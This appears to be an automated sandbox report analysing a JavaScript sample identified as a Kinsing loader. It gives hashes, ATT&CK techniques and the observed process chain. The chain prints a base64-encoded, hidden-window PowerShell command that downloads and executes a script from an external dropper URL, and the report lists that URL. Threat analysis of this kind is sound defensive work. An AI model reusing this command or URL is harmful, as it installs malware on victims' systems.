kinsing | 2b802c022331c8edc3677ddcd92e9828df9868008690ca4705607130e2c11f44

Analysis

max time kernel
138s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2024, 17:50

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General

Target
7522d42bc91d7d4003462db6a1fc1f34.js
Size 88KB
Sample240125-we3y2sdadk
SHA256 2b802c022331c8edc3677ddcd92e9828df9868008690ca4705607130e2c11f44
MD5 7522d42bc91d7d4003462db6a1fc1f34
SHA1 41c7173d375784b64edd3b8f9ba6d367be6f726c
SHA512 66e1cc231b44151b62d18299209178db57cbc03779a2054ad6f3e2b89c30b937940618c8e8e0470deb37653a5ad221cc77ca7b9a0c345eb38757686ed19b7408
SSDEEP 1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oo:59Ry98guHVBqqg2bcruzUHmLKeMMU7GO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

kinsing loader

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	2168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2168	powershell.exe
2168	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2168	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 736 wrote to memory of 968	736	wscript.exe	84
PID 736 wrote to memory of 968	736	wscript.exe	84
PID 968 wrote to memory of 2168	968	cmd.exe	86
PID 968 wrote to memory of 2168	968	cmd.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7522d42bc91d7d4003462db6a1fc1f34.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_dzhh2jzc.fod.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzhh2jzc.fod.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2168-1-0x00007FFAFE4B0000-0x00007FFAFEF71000-memory.dmp

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memory/2168-2-0x000001F0E3820000-0x000001F0E3830000-memory.dmp

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memory/2168-3-0x000001F0E3820000-0x000001F0E3830000-memory.dmp

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memory/2168-13-0x000001F0E58A0000-0x000001F0E58C2000-memory.dmp

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memory/2168-14-0x000001F0E3820000-0x000001F0E3830000-memory.dmp

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memory/2168-17-0x00007FFAFE4B0000-0x00007FFAFEF71000-memory.dmp

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